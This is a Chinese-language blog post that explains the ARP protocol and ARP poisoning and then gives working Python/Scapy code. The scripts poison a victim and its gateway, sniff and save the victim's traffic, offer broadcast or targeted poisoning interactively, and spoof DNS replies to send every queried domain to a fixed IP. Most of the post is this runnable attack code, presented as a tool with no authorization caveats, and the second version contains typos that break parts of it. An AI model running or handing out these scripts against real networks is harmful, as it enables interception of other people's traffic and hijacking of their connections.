HackPluto's Blog

自己动手写工具(3)--ARP欺骗

字数统计: 2k阅读时长: 9 min
2019/05/27 Share

最近在计网里学习了ARP协议,为了加深理解,所以决定自己写一个ARP的欺骗工具(有的地方也可以翻译成ARP投毒)。

ARP协议

首先介绍一下ARP协议的定义,先看一下网络的结构模型

ARP协议就是工作在数据链路层的协议,至于ARP到底属于链路层还是网络层是众说纷纭所以不必纠结这个地方。
在以太网协议中规定,同一局域网中的一台主机要和另一台主机进行直接通信,必须要知道目标主机的MAC地址。而在TCP/IP协议中,网络层和传输层只关心目标主机的IP地址。这就导致在以太网中使用IP协议时,数据链路层的以太网协议接到上层IP协议提供的数据中,只包含目的主机的IP地址。于是需要一种方法,根据目的主机的IP地址,获得其MAC地址。这就是ARP协议要做的事情。所谓地址解析(address resolution)就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。

ARP数据包的结构如下

目标以太网地址: 目标mac地址
源以太网地址: 发送方mac地址
帧类型:以太类型,ARP为0x0806
硬件类型: 如以太网,分组无线网
协议类型:如IPv4(0x0800),IPv6(0x86DD)
硬件地址长度:每种硬件地址的字节长度,一般为6(以太网)
协议地址长度:每种协议地址的字节长度,一般为4(IPv4)
操作码:1为ARP请求,2为ARP应答,3为RARP请求,4为RARP应答
源硬件地址:一般为发送方MAC地址。
源协议地址:一般为发送方IP地址。
目标硬件地址:一般为目标MAC地址。
目标协议地址:一般为目标IP地址。

更加详细的ARP协议就不介绍了,不了解的自行百度。

ARP欺骗原理

ARP工作时,首先请求主机会发送出一个含有所希望到达的IP地址的以太网广播数据包,然后目标IP的所有者会以一个含有IP和MAC地址对的数据包应答请求主机。这样请求主机就能获得要到达的IP地址对应的MAC地址,同时请求主机会将这个地址对放入自己的ARP表缓存起来,以节约不必要的ARP通信。ARP缓存表采用了老化机制,在一段时间内如果表中的某一行没有使用,就会被删除。

局域网上的一台主机,如果接收到一个ARP报文,即使该报文不是该主机所发送的ARP请求的应答报文,该主机也会将ARP报文中的发送者的MAC地址和IP地址更新或加入到ARP表中。

ARP欺骗攻击就利用了这点,攻击者主动发送ARP报文,发送者的MAC地址为攻击者主机的MAC地址,发送者的IP地址为被攻击主机的IP地址。通过不断发送这些伪造的ARP报文,让局域网上所有的主机和网关ARP表,其对应的MAC地址均为攻击者的MAC地址,这样所有的网络流量都会发送给攻击者主机。由于ARP欺骗攻击导致了主机和网关的ARP表的不正确,这种情况我们也称为ARP中毒。

根据ARP欺骗者与被欺骗者之间的角色关系的不同,通常可以把ARP欺骗攻击分为如下两种:
1.主机型ARP欺骗:欺骗者主机冒充网关设备对其他主机进行欺骗
2.网关型ARP欺骗:欺骗者主机冒充其他主机对网关设备进行欺骗

Scapy库的介绍

本次的代码主要就是基于scapy这个库写的,这个库是一个使用python写的一个网络发包流量监控的库,功能十分强大。

我们可以看到这个库可以解析上百种协议,这个截图只是很小的一部分。
学习这个库我推荐还是阅读官方文档,下载时候的注意事项去官网看基本就可以解决所有的情况。
我们本次实验主要是利用这个库的发包以及解析包的能力。

代码实现

主要功能:

1.广播投毒

2.定向投毒

3.双向欺骗,窃听流量

4.还原流量中的文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from scapy.all import *
import os
import sys
import threading
import signal

def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
print("[*]Restoring target...")
send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac),count=5)
send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac),count=5)
os.kill(os.getpid(), signal.SIGINT)

def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):
poison_target = ARP()
poison_target.op = 2
poison_target.psrc = gateway_ip
poison_target.pdst = target_ip
poison_target.hwdst = target_mac

poison_gateway = ARP()
poison_gateway.op = 2
poison_gateway.psrc = target_ip
poison_gateway.pdst = gateway_ip
poison_gateway.hwdst = gateway_mac
print("[*]Beginning the ARP poison")
while True:
try:
send(poison_target)
send(poison_gateway)
time.sleep(2)
except:
restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
break
print("[*]ARP posion finished")
return

interface = "en0"
target_ip = "192.168.8.125"
gateway_ip = "192.168.8.1"
packet_count = 1000
conf.iface = interface
conf.verb = 0
print("[*]Setting up %s" % interface)
gateway_mac = getmacbyip(gateway_ip)
if gateway_ip is None:
print("[!!]Failed to get gateway mac address")
sys.exit(0)
else:
print("[*]gateway %s is at %s" % (gateway_ip,gateway_mac))

target_mac = getmacbyip(target_ip)
if target_mac is None:
print("[!!]Failed to get target mac address")
sys.exit(0)
else:
print("[*]gateway %s is at %s" % (target_ip,target_mac))

poison_thread = threading.Thread(target=poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac))
poison_thread.start()
try:
print("[*] Starting sniffer for %d packets......." % packet_count)
bpf_filter = "ip host %s" % target_ip
packets = sniff(count=packet_count,filter=bpf_filter,iface=interface)
wrpcap('arp.pcap',packets)
restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
except:
restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
sys.exit(0)

版本2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from scapy.all import *
import sys
import os
import threading


def poison_target1(gateway_ip,gateway_mac,target_ip,target_mac,conunts):
send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst=target_mac),conunt=conunts)

def poison_target2(gateway_ip,gateway_mac,target_ip,target_mac,conunts):
send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst=gateway_mac),conunt=conunts)

def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
print("[*]Restoring target...")
send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac),count=10)
send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac),count=10)
os.kill(os.getpid(), signal.SIGINT)


def main():
a = input("是否开启广播欺骗:(y/n)")
if a == 'y':
psrc = input("输入受害机IP地址")
conunts = int(input("输入发送数据包的数量"))
send(ARP(op=2,psrc=psrc,hwdst="ff:ff:ff:ff:ff:ff"),conunt=conunts)
else:
gateway_ip = input("输入网关IP地址")
target_ip = input("输入受害机IP地址")
conunts = int(input("输入发送数据包的数量"))
gateway_mac = getmacbyip(gateway_ip)
if gateway_ip is None:
print("[!!]Failed to get gateway mac address")
sys.exit(0)
else:
print("[*]gateway %s is at %s" % (gateway_ip,gateway_mac))
target_mac = getmacbyip(target_ip)
if target_mac is None:
print("[!!]Failed to get target mac address")
sys.exit(0)
else:
print("[*]gateway %s is at %s" % (target_ip,target_mac))
posion_thread1 = threading.Thread(target=poison_target1, args=(gateway_ip,gateway_mac,target_ip,target_mac,conunts))
posion_thread1.start()
posion_thread2 = threading.Thread(target=poison_target2, args=(gateway_ip,gateway_mac,target_ip,target_mac,conunts))
posion_thread1.start()
print("[*]Beginning the ARP poison")
b = input("是否监听网卡:(y/n)")
if b == 'y':
interface = input("输入网卡名")
conf.iface = interface
conf.verb = 0
bpf_filter = "ip host %s" % target_ip
packets = sniff(filter=bpf_filter,iface=interface,conunt=conunts)
wrpcap('arp.pcap',packets)
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
else:
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)

main()

DNS欺骗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python
# -*- coding -*-:utf-8

from scapy.all import *
import time
import logging

logger = logging.getLogger('main')
logging.basicConfig(format='%(levelname)s:%(message)s',level=logging.DEBUG)
logger.setLevel(logging.DEBUG)
# Set the interface for scapy to use
conf.iface = 'br0'
# Set the spoofed response
spoofed_ip = '192.168.28.118'

def send_response(x):
# Get the requested domain
req_domain = x[DNS].qd.qname
logger.info('Found request for' + req_domain)
# First,we delete the existing lengths and checksums..
# We will let Scapy re-create them
del(x[UDP].len)
del(x[UDP].chksum)
del(x[IP].len)
del(x[IP].chksum)
# Let`s build our response from a copy of the original packet
response = x.copy()
# we need to start by changing our response to be "from-ds" ,or from the access point.
response.FCfield = 2L
# Switch the MAC addresses
#response.addr1,response.addr2 = x.addr2,x.addr1
response.src,response.dst = x.dst,x.src
# Switch the IP addresses
response[IP].src,response[IP].dst = x[IP].dst,x[IP].src
# Switch the ports
response.sport,response.dport = x.dport,x.sport
# Set the DNS flags
response[DNS].qr = 1L
response[DNS].ra = 1L
response[DNS].ancount = 1
# Let`s add on the answer section
response[DNS].an = DNSRR(
rrname = req_domain,
type = 'A',
rclass = 'IN',
ttl = 900,
rdata = spoofed_ip
)
# Now,we inject the response!
sendp(response)
logger.info('Sent response:' + req_domain + ' -> ' + spoofed_ip + '\n')

def main():
logger.info('Starting to intercept [CTRL+C to stop]')
sniff(prn=lambda x: send_response(x),lfilter=lambda x:x.haslayer(UDP) and x.dport == 53)

if __name__ == "__main__":
# Make it happen!
main()
CATALOG
  1. 1. ARP协议
  2. 2. ARP欺骗原理
  3. 3. Scapy库的介绍
  4. 4. 代码实现
    1. 4.0.1. 1.广播投毒
    2. 4.0.2. 2.定向投毒
    3. 4.0.3. 3.双向欺骗,窃听流量
    4. 4.0.4. 4.还原流量中的文件内容
  5. 4.1. DNS欺骗